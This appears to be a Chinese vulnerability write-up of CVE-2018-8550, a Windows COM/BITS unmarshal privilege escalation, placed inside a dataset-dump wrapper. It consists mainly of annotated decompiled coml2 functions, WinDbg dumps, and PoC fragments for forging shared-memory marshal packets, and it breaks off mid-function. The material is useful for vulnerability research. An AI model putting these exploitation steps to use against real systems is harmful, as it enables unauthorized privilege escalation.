text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# CVE-2018-8550分析与复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**这个漏洞属于com组件Unmarshal类型本地权限提升漏洞**
## 复现环境
1. Windows 10 1709 32位操作系统
2. 需要安装声卡或操作系统自带虚拟声卡
3. 编译环境Visual Studio 2013
## Poc 分析
[原poc](https://www.exploit-db.com/exploits/45893 "poc")作者James
Forshaw使用C#实现,我一直未复现成功,不过通过原poc的代码我大致明白了漏洞的成因和触发方法,原poc环境是win10 1803
X64系统.在cve2018-8550更新补丁出来不久,微软就取消了64位ole32.dll和coml2.dll调试符号提供,不过32的仍然可以正常提供.为了方便调试我用vc在32位系统上成功复现了poc.
poc采用的反射从低权限进程(poc进程)向高权限进程(bits服务)Unmarshal方式实现触发bits复制了一个poc进程中的一个句柄至高权限进程从而用来创建进程实现提权,Unmarshal采用的ClassID为CLSID_DfMarshal={
0x0000030B, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
}
,Bits服务器调用了ole32(在win10中被代码迁移到coml2)的DfUnMarshalInterface方法来Unmarshal的数据流中SDfMarshalPacket被poc精心构造的数据包,由于poc使用的是StgCreateDocfile创建IStorage对象,所以最终DfUnMarshalInterface调用了CExposedDocFile::Unmarshal来Unmarshal,下面是逆向的代码:
int __stdcall CExposedDocFile::Unmarshal(IStream *pstm, void **ppv, unsigned int mshlflags)
{
int hrFinal; // esi
int hrTempNext; // eax
CPubDocFile *CPubDocFileObj; // eax
CGlobalContext *CGlobalContextObj; // eax
const void *v7; // eax
CGlobalContext *CGlobalContextObjRef; // eax
CPubDocFile *CBasedPubDocFileObjFirst; // eax
unsigned int fUnmarshalOriginalConfig; // eax
CPubDocFile *CBasedPubDocFileObjFirstRef; // ecx
int fUnmarshalOriginalConfigRef; // ST10_4
int IsRootConfig; // eax
void *ReservedForOleRef; // ebx
unsigned int CMarshalListObj_baseObj; // ecx
unsigned int pid; // eax
CMarshalList *CMarshalListObjFirst; // ecx
CMarshalList *CMarshalListObjFound; // eax
CExposedDocFile *CExposedDocFile_MarshalList_Final; // esi
CExposedDocFile *CExposedDocFileObjNext; // eax MAPDST
CDFBasis *CBasedDFBasisObj; // esi
CPubDocFile *CBasedPubDocFileObjNext; // edx
CSmAllocator *CSmAllocator_A; // eax
CSmAllocator *CSmAllocator_B; // eax
unsigned int CBasedMarshalListObj; // eax
CMarshalList *CBasedMarshalListObjNext; // ecx
CPubDocFile *CPubDocFileObjNext; // eax
CDFBasis *BasedDFBasisObj; // eax
CPerContext *CPerContextObjRef; // ecx
CSmAllocator *CSmAllocator_C; // eax
CSmAllocator *CSmAllocator_D; // eax
CPerContext pcSharedMemory; // [esp+Ch] [ebp-8Ch]
unsigned int cbRead; // [esp+50h] [ebp-48h]
SDfMarshalPacket SDfMarshalPacketCurrent; // [esp+54h] [ebp-44h]
IStorage *pstorgeStd; // [esp+88h] [ebp-10h]
CDfMutex mtx; // [esp+8Ch] [ebp-Ch]
CPerContext *CPerContextObj; // [esp+94h] [ebp-4h]
void *pvBaseOld; // [esp+A0h] [ebp+8h]
// SDfMarshalPacketCurrent初始化里面的字段指针都是nullptr
mtx._pGlobalPortion = 0;
mtx._hLockEvent = 0;
pstorgeStd = 0;
SDfMarshalPacketCurrent.CBasedPubDocFileObj._SelftobjectPtr = 0;
SDfMarshalPacketCurrent.CBasedPubStreamObj._SelftobjectPtr = 0;
SDfMarshalPacketCurrent.CBasedSeekPointerObj._SelftobjectPtr = 0;
SDfMarshalPacketCurrent.CBasedMarshalListObj._SelftobjectPtr = 0;
SDfMarshalPacketCurrent.CBasedDFBasisObj._SelftobjectPtr = 0;
SDfMarshalPacketCurrent.CBasedGlobalContextObj._SelftobjectPtr = 0;
SDfMarshalPacketCurrent.CBasedGlobalFileStreamObj._SelftobjectPtr = 0;
SDfMarshalPacketCurrent.CBasedGlobalFileStreamDirty._SelftobjectPtr = 0;
SDfMarshalPacketCurrent.CBasedGlobalFileStreamOriginal._SelftobjectPtr = 0;
// 构造pcSharedMemory是一个cpercontext,先构造变量
CPerContext::CPerContext(&pcSharedMemory, 0);
// 通用marshal方法先CoUnmarshalInterface
CoUnmarshalInterface(pstm, &IID_IStorage, (IUnknown *)&pstorgeStd);
if ( (mshlflags & 0x80000000) != 0 )
{
// 这里都读流int就是largeint
hrFinal = ((int (__stdcall *)(IStream *, signed int, _DWORD, signed int, _DWORD))pstm->_SelfStreamVtbl->Seek)(
pstm,
96,
0,
1,
0);
if ( hrFinal >= 0 )
hrFinal = -2147287039;
goto EH_std_0;
}
// 把SDfMarshalPacketCurrent读出来
hrFinal = pstm->_SelfStreamVtbl->Read(pstm, &SDfMarshalPacketCurrent, 52u, &cbRead);
if ( hrFinal >= 0 )
{
if ( cbRead != 52 )
{
hrFinal = -2147287010;
goto EH_std_0;
}
// pcSharedMemory也是从packet中反序列化出来的,里面需要判断进程id
UnmarshalSharedMemory(&SDfMarshalPacketCurrent, mshlflags, &pcSharedMemory);
hrFinal = hrTempNext;
if ( hrTempNext < 0 )
goto EH_std_0;
// 为ReservedForOle赋值一个局部变量
pvBaseOld = *(void **)NtCurrentTeb()->ReservedForOle;
// 反序列化出来全局baseDocFile,需要先验证这个是否正确
if ( SDfMarshalPacketCurrent.CBasedPubDocFileObj._SelftobjectPtr )
CPubDocFileObj = (CPubDocFile *)(SDfMarshalPacketCurrent.CBasedPubDocFileObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle);
else
CPubDocFileObj = 0;
// 验证只是判断里面的sig
hrFinal = CPubDocFile::Validate(CPubDocFileObj);
if ( hrFinal < 0 )
{
EH_Err_109:
CPerContext::SetThreadAllocatorState(&pcSharedMemory, 0);
CSmAllocator_A = GetTlsSmAllocator();
CSmAllocator::Uninit(CSmAllocator_A);
CSmAllocator_B = GetTlsSmAllocator();
CSmAllocator::SetState(CSmAllocator_B, 0, 0, 0, 0, 0);
goto EH_std_0;
}
if ( SDfMarshalPacketCurrent.CBasedGlobalContextObj._SelftobjectPtr )
CGlobalContextObj = (CGlobalContext *)(SDfMarshalPacketCurrent.CBasedGlobalContextObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle);
else
CGlobalContextObj = 0;
if ( !CGlobalContextObj
|| (!SDfMarshalPacketCurrent.CBasedGlobalContextObj._SelftobjectPtr ? (v7 = 0) : (v7 = (const void *)(SDfMarshalPacketCurrent.CBasedGlobalContextObj._SelftobjectPtr + *(_DWORD *)NtCurrentTeb()->ReservedForOle)),
!IsValidPtrIn(v7, 0x30u)) )
{
hrFinal = -2147287031;
goto EH_Err_109;
}
// 全局环境变量CGlobalContextObjRef也反序列出来
if ( SDfMarshalPacketCurrent.CBasedGlobalContextObj._SelftobjectPtr )
CGlobalContextObjRef = (CGlobalContext *)(SDfMarshalPacketCurrent.CBasedGlobalContextObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle);
else
CGlobalContextObjRef = 0;
// 里面是CGlobalContext的初始化它的锁createevent
hrFinal = CDfMutex::Init(&mtx, CGlobalContextObjRef, 0);
if ( hrFinal < 0 )
goto EH_Err_109;
// 锁验证一下
hrFinal = CDfMutex::Take(&mtx, 0xFFFFFFFF);
if ( hrFinal < 0 )
goto EH_Err_109;
// 反序列化出来一个临时的PubDocFileObj和它的ref同类型局部变量不牵涉下下面具体分配
if ( SDfMarshalPacketCurrent.CBasedPubDocFileObj._SelftobjectPtr )
CBasedPubDocFileObjFirst = (CPubDocFile *)(SDfMarshalPacketCurrent.CBasedPubDocFileObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle);
else
CBasedPubDocFileObjFirst = 0;
fUnmarshalOriginalConfig = CBasedPubDocFileObjFirst->PRevertableObj._UnmarshalOriginalConfig;
if ( SDfMarshalPacketCurrent.CBasedPubDocFileObj._SelftobjectPtr )
CBasedPubDocFileObjFirstRef = (CPubDocFile *)(SDfMarshalPacketCurrent.CBasedPubDocFileObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle);
else
CBasedPubDocFileObjFirstRef = 0;
// 2个配置做与运算双重判断
fUnmarshalOriginalConfigRef = fUnmarshalOriginalConfig & 4;
// 这个配置判断是否是Rootl类型的PubDocFile
IsRootConfig = CPubDocFile::IsRoot(CBasedPubDocFileObjFirstRef);
// 这里只是根据读取到的2个配置反序列化出来一个环境变量CPerContextObj
hrFinal = UnmarshalContext(
&SDfMarshalPacketCurrent,
&CPerContextObj,
mshlflags,
// 是否Root配置
IsRootConfig,
// Unmarshal配置
fUnmarshalOriginalConfigRef);
if ( hrFinal < 0 )
{
EH_mtx_0:
CDfMutex::Release(&mtx);
goto EH_Err_109;
}
// 保存ReservedForOle局部临时变量
ReservedForOleRef = *(void **)NtCurrentTeb()->ReservedForOle;
if ( gs_iSharedHeaps <= 256 )
{
// 把CMarshalList反序列化出来先验证下
if ( SDfMarshalPacketCurrent.CBasedMarshalListObj._SelftobjectPtr )
CMarshalListObj_baseObj = SDfMarshalPacketCurrent.CBasedMarshalListObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle;
else
CMarshalListObj_baseObj = 0;
if ( CExposedDocFile::Validate((CExposedDocFile *)(CMarshalListObj_baseObj != 0 ? CMarshalListObj_baseObj - 72 : 0)) < 0 )
{
// 不通过最近指针就是nullptr
CExposedDocFile_MarshalList_Final = 0;
}
else
{
// 获取当前的ProcessId,做判断,执行第一种逻辑
pid = GetCurrentProcessId();
// CMarshalListObj也是从packet中反序列化出来的
if ( SDfMarshalPacketCurrent.CBasedMarshalListObj._SelftobjectPtr )
CMarshalListObjFirst = (CMarshalList *)(SDfMarshalPacketCurrent.CBasedMarshalListObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle);
else
CMarshalListObjFirst = 0;
// 如果是当前进程先从CMarshalList找到最终的CExposedDocFile
CMarshalListObjFound = CMarshalList::FindMarshal(CMarshalListObjFirst, pid, ReservedForOleRef);
// 找到CMarshalListObjFound后只是它的指针偏移量减6作为最终结果
CExposedDocFile_MarshalList_Final = (CExposedDocFile *)(CMarshalListObjFound != 0 ? (unsigned int)&CMarshalListObjFound[-6] : 0);
}
if ( CExposedDocFile_MarshalList_Final )
{
// 如果找到找到最终的CExposedDocFile的FBasis就从之前的CPerContextObj把里面字段赋值
if ( SDfMarshalPacketCurrent.CBasedDFBasisObj._SelftobjectPtr )
// BasedDFBasisObj也是反序列出来之后再执行赋值
BasedDFBasisObj = (CDFBasis *)(SDfMarshalPacketCurrent.CBasedDFBasisObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle);
else
BasedDFBasisObj = 0;
CPerContextObjRef = CPerContextObj;
// 赋值之后就完成unmarshal
BasedDFBasisObj->_lockbytesBasePtr = CPerContextObj->_LockBytesBasePtr;
BasedDFBasisObj->_CFileStreamDirtyPtr = CPerContextObjRef->_CFileStreamDirtyPtr;
BasedDFBasisObj->_LockBytesOriginalPtr = CPerContextObjRef->_LockBytesOriginalPtr;
CExposedDocFile_MarshalList_Final->baseIUnkownPtr._SelfMarshalVtbl->AddRef((IUnknown *)CExposedDocFile_MarshalList_Final);
// 最终结果addref环境局部变量释放release
CPerContext::Release(CPerContextObj);
}
else
{
// 如果从MarshalList未找到
CExposedDocFileObjNext = (CExposedDocFile *)CMallocBased::operator new(0x8Cu, CPerContextObj->_pMalloc);
// 初始化最终的CExposedDocFileObjNext
if ( CExposedDocFileObjNext )
{
if ( SDfMarshalPacketCurrent.CBasedDFBasisObj._SelftobjectPtr )
// BasedDFBasisObj同样是反序列出来之后但是不赋值,可以为nullptr最为最终结果的构造函数参数传入
CBasedDFBasisObj = (CDFBasis *)(SDfMarshalPacketCurrent.CBasedDFBasisObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle);
else
CBasedDFBasisObj = 0;
if ( SDfMarshalPacketCurrent.CBasedPubDocFileObj._SelftobjectPtr )
// PubDocFileObj同样是反序列出来之后但是不赋值,可以为nullptr最为最终结果的构造函数参数传入
CBasedPubDocFileObjNext = (CPubDocFile *)(SDfMarshalPacketCurrent.CBasedPubDocFileObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle);
else
CBasedPubDocFileObjNext = 0;
// !!!构造CExposedDocFileObjNext,它才是最终结果!!!
CExposedDocFile::CExposedDocFile(
CExposedDocFileObjNext,
CBasedPubDocFileObjNext,
CBasedDFBasisObj,
CPerContextObj);
// 最终结果就是刚才构造的CExposedDocFileObjNext
CExposedDocFile_MarshalList_Final = CExposedDocFileObjNext;
}
else
{
CExposedDocFile_MarshalList_Final = 0;
}
// 如果构造出来的CExposedDocFile_MarshalList_Final 失败
if ( !CExposedDocFile_MarshalList_Final )
goto LABEL_54;
if ( SDfMarshalPacketCurrent.CBasedMarshalListObj._SelftobjectPtr )
CBasedMarshalListObj = SDfMarshalPacketCurrent.CBasedMarshalListObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle;
else
CBasedMarshalListObj = 0;
if ( CBasedMarshalListObj )
{
// 不是当前进程也需要反序列出来MarshalList把最终结果加进入
if ( SDfMarshalPacketCurrent.CBasedMarshalListObj._SelftobjectPtr )
CBasedMarshalListObjNext = (CMarshalList *)(SDfMarshalPacketCurrent.CBasedMarshalListObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle);
else
CBasedMarshalListObjNext = 0;
// 通过最终结果的MarshalList字段加到全局也是反序列化出来的MarshalList
CMarshalList::AddMarshal(CBasedMarshalListObjNext, &CExposedDocFile_MarshalList_Final->CMarshalListObj);
// 最终结果是ExposedDoc
}
if ( SDfMarshalPacketCurrent.CBasedPubDocFileObj._SelftobjectPtr )
// PubDocFile也反序列化出来因为2个doc有关联所以需要addref下PubDocFile
CPubDocFileObjNext = (CPubDocFile *)(SDfMarshalPacketCurrent.CBasedPubDocFileObj._SelftobjectPtr
+ *(_DWORD *)NtCurrentTeb()->ReservedForOle);
else
CPubDocFileObjNext = 0;
InterlockedIncrement(&CPubDocFileObjNext->_count_References);
}
// 把CExposedDocFile_MarshalList_Final赋值给最终需要反序列化的远程对象指针ppv
*ppv = CExposedDocFile_MarshalList_Final;
CDfMutex::Release(&mtx);
if ( pvBaseOld != ReservedForOleRef )
{
CPerContext::SetThreadAllocatorState(&pcSharedMemory, 0);
CSmAllocator_C = GetTlsSmAllocator();
CSmAllocator::Uninit(CSmAllocator_C);
}
CSmAllocator_D = GetTlsSmAllocator();
CSmAllocator::SetState(CSmAllocator_D, 0, 0, 0, 0, 0);
if ( pstorgeStd )
pstorgeStd->_SelfStorageVtbl->Release(pstorgeStd);
goto LABEL_80;
}
LABEL_54:
hrFinal = -2147287032;
CPerContext::Release(CPerContextObj);
goto EH_mtx_0;
}
EH_std_0:
if ( !pstorgeStd )
{
CPerContext::~CPerContext(&pcSharedMemory);
CDfMutex::~CDfMutex(&mtx);
return hrFinal;
}
*ppv = pstorgeStd;
LABEL_80:
CPerContext::~CPerContext(&pcSharedMemory);
CDfMutex::~CDfMutex(&mtx);
return 0;
}
DfUnMarshalInterface默认是采用MSHCTX=MSHCTX_INPROC也就是同进程内Unmrahsl方式读取的指针都是的同进程对象,不过它也支持UnmarshalSharedMemory方式,也就是从结构的hMem字段从audiodg.exe的共享内存初始化相应的共享对象
//SDfMarshalPacket结构
typedef struct _SDfMarshalPacket
{
unsigned int CBasedPubDocFileObj;
void * CBasedPubStreamObj;
void * CBasedSeekPointerObj;
void * CBasedMarshalListObj;
void * CBasedDFBasisObj;
unsigned int CBasedGlobalContextObj;
unsigned int CBasedGlobalFileStreamBaseObj;
void * CBasedGlobalFileStreamDirty;
void * CBasedGlobalFileStreamOriginal;
unsigned int ulHeapName;
unsigned int ProcessContextId;
GUID cntxkey;
CPerContext * CPerContextObj;
//共享内存
void *hMem;
} SDfMarshalPacket;
[windows音频服务](https://docs.microsoft.com/en-us/windows/desktop/api/audioclient/nf-audioclient-iaudioclient-initialize)允许建立一个Initialize在audiodg.exe进程共享内存中AUDCLNT_SHAREMODE=AUDCLNT_SHAREMODE_SHARED的共享内存,并开辟这样一块共享内存给poc进程和bits进程使用.通过ntdll未公开的函数实现找到位于audiodg.exe进程共享内存的句柄,写入交换数据后,将共享内存的句柄值写入SDfMarshalPacket->hMem,关于[ntdll未公开的函数](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtQuerySection.html)具体实现poc中有代码请读者自行研究.
HRESULT STDMETHODCALLTYPE SharedMemoryMarshaller::StartAudioClient(){
const CLSID CLSID_MMDeviceEnumerator = __uuidof(MMDeviceEnumerator);
const IID IID_IMMDeviceEnumerator = __uuidof(IMMDeviceEnumerator);
IMMDeviceEnumeratorPtr pEnumerator = nullptr;
HRESULT hr = CoCreateInstance(
CLSID_MMDeviceEnumerator, NULL,
CLSCTX_ALL, IID_IMMDeviceEnumerator,
(void**)&pEnumerator);
IMMDevicePtr pDevice = nullptr;
hr = pEnumerator->GetDefaultAudioEndpoint(EDataFlow::eRender, ERole::eConsole, &pDevice);
WAVEFORMATEX *pwfx = NULL;
REFERENCE_TIME hnsRequestedDuration = 10000000;
UINT32 nFrames = 0;
IAudioClient *pAudioClient = NULL;
// Get the audio client.
(hr = pDevice->Activate(
__uuidof(IAudioClient),
CLSCTX_INPROC_SERVER,
NULL,
(void**)&pAudioClient));
// Get the device format.
hr = pAudioClient->GetMixFormat(&pwfx);
// Open the stream and associate it with an audio session.
hr = pAudioClient->Initialize(
AUDCLNT_SHAREMODE_SHARED,
NULL,
hnsRequestedDuration,
0,
pwfx,
NULL);
return hr;
}
在CSharedMemoryBlock::InitUnMarshal中CSharedMemoryBlockObj->_pbBase被赋值成了SDfMarshalPacket->hMem共享内存映射后的地址,之后在CSmAllocator::Init中
CPerContext->_pbBase = CSharedMemoryBlockObj->_pbBase +
8,之后在UnmarshalSharedMemory接着就调用CPerContext::SetThreadAllocatorState接着调用CSmAllocator::SetState将NtCurrentTeb()->ReservedForOle赋值成CPerContext->_pbBase.最终得出的结论是NtCurrentTeb()->ReservedForOle-8就是共享内存内存映射的相对地址.在poc中使用如下方式操作共享内存
在poc中映射的共享内存基址directoryMappedAddressLocal就是bits进程中NtCurrentTeb()->ReservedForOle-8即bits进程映射的共享内存基址.以下是poc操作共享内存的方法
CBasedMapSectionPtr _pdf = (CBasedMapSectionPtr_ )(pck->CBasedPubDocFileObj +
(ULONG)directoryMappedAddressLocal + 8);
pdf->_SelftobjectPtr = 0x46444250;
void __stdcall UnmarshalSharedMemory(SDfMarshalPacket *SDfMarshalPacketCurrent, unsigned int mshlflags, CPerContext *ppcOwner)
{
SDfMarshalPacket *pck; // esi
unsigned int HeapName; // ebx
CPerContext *CPerContextObjTemp; // eax
HANDLE currentThreadHandle; // eax
CPerContext *ppcOwnerRef; // ecx
unsigned int ProcessContextIdRef; // [esp+Ch] [ebp-Ch]
void *hToken; // [esp+10h] [ebp-8h]
int sc; // [esp+14h] [ebp-4h]
CSmAllocator *pMalloc; // [esp+20h] [ebp+8h]
CSmAllocator *pMalloca; // [esp+20h] [ebp+8h]
pck = SDfMarshalPacketCurrent;
HeapName = SDfMarshalPacketCurrent->ulHeapName;
// 获取当前进程pid
ProcessContextIdRef = SDfMarshalPacketCurrent->ProcessContextId;
// PerContextObj反序列出来如果是当前进程就取它的值
CPerContextObjTemp = SDfMarshalPacketCurrent->CPerContextObj;
sc = 0;
// pMalloc 就是CPerContextObjTemp的引用
pMalloc = (CSmAllocator *)CPerContextObjTemp;
if ( GetCurrentProcessId() == ProcessContextIdRef )
{
// CSmAllocatorObjRefThis就是去反序列化这和sharedmemeory没关系了,默认认为sharedmemeory已经存在并初始化
ppcOwnerRef = (CPerContext *)pMalloc;
}
else
{
pMalloca = GetTlsSmAllocator();
if ( pMalloca->_ulHeapName != HeapName )
{
hToken = 0;
// 获取当前线程Thread的tid
currentThreadHandle = GetCurrentThread();
if ( OpenThreadToken(currentThreadHandle, 8u, 1, &hToken) )
{
CloseHandle(hToken);
sc = 0x80030005;
JUMPOUT(&requireCreateInstance);
}
// 非当前进程认为sharedmemeory不存在并开始初始化
CSmAllocator::SetState(pMalloca, 0, 0, 0, 0, 0);
// fUnmarshal=1,开始Unmarshal共享内存
sc = CSmAllocator::Init(pMalloca, pck->hMem, ProcessContextIdRef, HeapName, 1);
sc = CSmAllocator::Sync(pMalloca);
}
// owner就是pcSharedMemory如果非当前进程,CPerContext的pbBase又赋值给CSmAllocator的pbBase
CPerContext::GetThreadAllocatorState(ppcOwner);
ppcOwnerRef = ppcOwner;
}
// 设置一下状态
CPerContext::SetThreadAllocatorState(ppcOwnerRef, 0);
}
void __thiscall CSmAllocator::SetState(CSmAllocator *this, CSharedMemoryBlock *psmb, char *pbBase, unsigned int ulHeapName, CPerContext **ppcPrev, CPerContext *ppcOwner)
{
unsigned int v6; // eax
// that->CSharedMemoryBlockObj(+0x4) = shmBlock;
this->CSharedMemoryBlockObj = psmb;
// this->_pbBase(0x8偏移量) = pbBase;
this->_pbBase = pbBase;
if ( psmb )
v6 = psmb->_culCommitSize - 8;
else
v6 = 0;
this->_cbSize = v6;
this->_ulHeapName = ulHeapName;
*(_DWORD *)NtCurrentTeb()->ReservedForOle = pbBase;
if ( ppcPrev )
*ppcPrev = this->_ppcOwner;
this->_ppcOwner = ppcOwner;
}
int __thiscall CSmAllocator::Init(CSmAllocator *this, void *hMem, unsigned int dwProcessId, unsigned int ulHeapName, int fUnmarshal)
{
CSharedMemoryBlock *shmBlock; // eax
CSharedMemoryBlock *shmBlockRef; // edi
....
shmBlock = (CSharedMemoryBlock *)operator new(0x18u);
if ( shmBlock )
{
shmBlock->_hMem = 0;
shmBlock->_pbBase = 0;
shmBlock->_culCommitSize = 0;
shmBlock->_culInitCommitSize = 0;
shmBlock->_fCreated = 1;
shmBlock->_fReadWrite = 0;
}
else
{
shmBlock = 0;
}
shmBlockRef = shmBlock;
// that->CSharedMemoryBlockObj(+0x4)偏移量 = shmBlock;
that->CSharedMemoryBlockObj = shmBlock;
if ( shmBlock )
{
if ( fUnmarshal )
{
hrTemp = CSharedMemoryBlock::InitUnMarshal(shmBlock, hMem, dwProcessId, 0x3FF8u);
goto LABEL_13;
}
LABEL_20:
hrTemp = CSharedMemoryBlock::Init(shmBlockRef, 0, 0x3FFFF8u, 0x3FF8u, 0, 0, 1);
LABEL_13:
sc = hrTemp;
if ( hrTemp < 0 )
{
if ( shmBlockRef != &g_smb && shmBlockRef )
CSharedMemoryBlock::`scalar deleting destructor'(shmBlockRef, 1u);
that->CSharedMemoryBlockObj = 0;
return sc;
}
that->_cbSize = shmBlockRef->_culCommitSize - 8;
// pMalloca的pbBase就是NtCurrentTeb()->ReservedForOle->pvThreadBase(0x0偏移量)值相等,shmBlockRef->_pbBase也就是共享内存分配的基址,其中pMalloca=CPerContext
that->_pbBase = shmBlockRef->_pbBase + 8;
.....
}
int __thiscall CSharedMemoryBlock::InitUnMarshal(CSharedMemoryBlock *this, void *hMem, unsigned int dwProcessId, unsigned int culCommitSize)
{
CSharedMemoryBlock *that; // esi
int v5; // ebx
signed int v6; // eax
HANDLE v8; // eax
int v9; // eax
char *shareMemoryOffset; // eax
int v11; // eax
HANDLE hProcess; // [esp+18h] [ebp+Ch]
that = this;
v5 = 0;
hProcess = OpenProcess(0x40u, 0, dwProcessId);
if ( hProcess )
{
v8 = GetCurrentProcess();
// &that->_hMem=0x偏移量
if ( DuplicateHandle(hProcess, hMem, v8, &that->_hMem, 0, 0, 2u) )
{
shareMemoryOffset = (char *)MapViewOfFileEx(that->_hMem, 6u, 0, 0, 0, 0);
// //pMalloca->_pbBase = shmBlockRef->_pbBase + 8; 其中的pMalloca->pbBase就是NtCurrentTeb()->ReservedForOle->pvThreadBase(0x0偏移量)值相等,shmBlockRef->_pbBase= that->_pbBase也就是共享内存分配的基址
that->_pbBase = shareMemoryOffset;
.....
}
在windbg验证结论,共享内存CPerContext的地址为0617a350,可见它继承与CSmAllocator,它的CPerContext->CSharedMemoryBlockObj(+0x4)也就是CSharedMemoryBlock地址为060def40,CSharedMemoryBlock->_pbBase地址为03e40000,同时可以看到ReservedForOle指针指向的地址为03e40008,验证了结论.
0:018> dt ntdll!_TEB ReservedForOle @$teb
+0xf80 ReservedForOle : 0x031a9e98 Void
0:018> dc 0x031a9e98
031a9e98 03e40008 0617a350 00000000 00001002 ....P...........
031a9ea8 0000000c 02f86f80 00000000 00000000 .....o..........
031a9eb8 00000001 03112648 0506e850 00000000 ....H&..P.......
031a9ec8 00000000 00002f4c 03109f80 03109f80 ....L/..........
031a9ed8 00000000 00000000 0000013c 00000000 ........<.......
031a9ee8 00000000 0313c658 00000000 00000000 ....X...........
031a9ef8 00000000 00000000 00000000 00000000 ................
031a9f08 00000000 00000000 00000000 00000000 ................
0:018> dps 0x031a9e98
//ReservedForOle指针指向的地址=CSharedMemoryBlock->_pbBase+8
031a9e98 03e40008
//CPerContext的地址
031a9e9c 0617a350
031a9ea0 00000000
031a9ea4 00001002
031a9ea8 0000000c
031a9eac 02f86f80
...
//CPerContext的地址为0617a350
0:018> dps 0617a350
0617a350 750c11a8 coml2!CSmAllocator::`vftable'
//CPerContext->_psmb也就是CSharedMemoryBlock地址
0617a354 060def40
//NtCurrentTeb()->ReservedForOle赋值成CPerContext->_pbBase
0617a358 03e40008
....
//CSharedMemoryBlock地址
0:018> dps 060def40
060def40 000010b8
//CSharedMemoryBlock->_pbBase地址
060def44 03e40000
...
设置好共享内存后会进入UnmarshalContext,其中先从SDfMarshalPacket->CBasedGlobalContextObj中通过CContextList::_Find找第一个CGlobalContext,其实CGlobalContext继承于CContextList结构,会根据CContextList->pctxNext找下一个CContextList直到CContextList->ctxid为要找的进程id为止.之后会验证下CPerContext句柄是否有效,其实只要构造一个名为”SessionsBaseNamedObjectsOleDfRoot%X%08lX”的内核Event通过NtCreateEvent,Bits服务的Sessions为0,详见poc代码.
SDfMarshalPacket *__userpurge UnmarshalContext@<eax>(CPerContext **a1@<edx>, SDfMarshalPacket *pckfrom@<ecx>, struct SDfMarshalPacket *pvkOrg, struct CPerContext **a4, unsigned int a5, int a6, int a7)
{
SDfMarshalPacket *pck; // edi
CGlobalContext *pCGlobalContextOffset; // ecx
CGlobalContext *pCGlobalContext; // esi
unsigned int NowPid; // eax
CPerContext *pCPerContextFound; // eax
CContext *pContext; // ebx
struct _GUID v13; // ST04_16
struct CPerContext **v14; // ecx
CPerContext *v15; // eax
CSmAllocator *v17; // eax
unsigned int NowPidNext; // eax
int CBasedGlobalFileStreamBaseObjOffset; // edx
CGlobalFileStream *pCBasedGlobalFileStreamBase; // ecx
int v21; // eax
char *v22; // edx
int v23; // esi
CGlobalFileStream *fstmFromGlobal; // ecx
SDfMarshalPacket *v25; // eax
char *v26; // edx
CGlobalFileStream *v27; // ecx
SDfMarshalPacket *v28; // eax
struct ILockBytes *v29; // edi
struct CFileStream *v30; // ebx
struct ILockBytes *v31; // esi
unsigned int v32; // edx
void **v33; // [esp+0h] [ebp-44h]
void **v34; // [esp+0h] [ebp-44h]
void **v35; // [esp+0h] [ebp-44h]
struct IMalloc *v36; // [esp+4h] [ebp-40h]
unsigned int v37; // [esp+4h] [ebp-40h]
unsigned int *v38; // [esp+4h] [ebp-40h]
CPerContext **v39; // [esp+10h] [ebp-34h]
CPerContext *v40; // [esp+14h] [ebp-30h]
int v41; // [esp+18h] [ebp-2Ch]
unsigned int v42; // [esp+1Ch] [ebp-28h]
BOOL pCPerContextFoundRef; // [esp+20h] [ebp-24h]
CGlobalContext *pCGlobalContextRef; // [esp+24h] [ebp-20h]
struct CFileStream *v45; // [esp+28h] [ebp-1Ch]
struct ILockBytes *ppvRet; // [esp+2Ch] [ebp-18h]
struct ILockBytes *v47; // [esp+30h] [ebp-14h]
struct CFileStream *v48; // [esp+34h] [ebp-10h]
struct ILockBytes *v49; // [esp+38h] [ebp-Ch]
SDfMarshalPacket *pckRef; // [esp+3Ch] [ebp-8h]
v39 = a1;
v42 = 0;
pck = pckfrom;
v41 = 0;
pckRef = pckfrom;
ppvRet = 0;
v48 = 0;
pCGlobalContextOffset = pckfrom->CBasedGlobalContextObj;
v45 = 0;
v49 = 0;
v47 = 0;
v40 = 0;
if ( pCGlobalContextOffset )
{
pCGlobalContext = (pCGlobalContextOffset + *NtCurrentTeb()->ReservedForOle);
v41 = ppvRet;
v48 = v45;
v49 = v47;
}
else
{
pCGlobalContext = 0;
}
pCGlobalContextRef = pCGlobalContext;
NowPid = GetCurrentProcessId();
// 找第一个PerContext
pCPerContextFound = CContextList::_Find(&pCGlobalContext->CContextListbase, NowPid);
pContext = &pCPerContextFound->baseclass_CContext;
pCPerContextFoundRef = !pCPerContextFound
// 先验证下找到的PerContext必须成功
|| (pContext = (CPerContext::IsHandleValid(pCPerContextFound) != 0 ? pCPerContextFound : 0)) == 0;
// 如果不是当前进程检查CProcessSecret,不相符也没关系
if ( GetCurrentProcessId() != pck->ProcessContextId )
{
*&v13.Data1 = *&pck->cntxkey.Data1;
*v13.Data4 = *pck->cntxkey.Data4;
if ( CProcessSecret::VerifyMatchingSecret(v13) < 0 && pContext )
// 不相符也没关系只是不设置状态
CPerContext::SetThreadAllocatorState(pContext, v14);
pCGlobalContext = pCGlobalContextRef;
pck = pckRef;
}
if ( !pCPerContextFoundRef )
{
LABEL_21:
v17 = GetTlsSmAllocator();
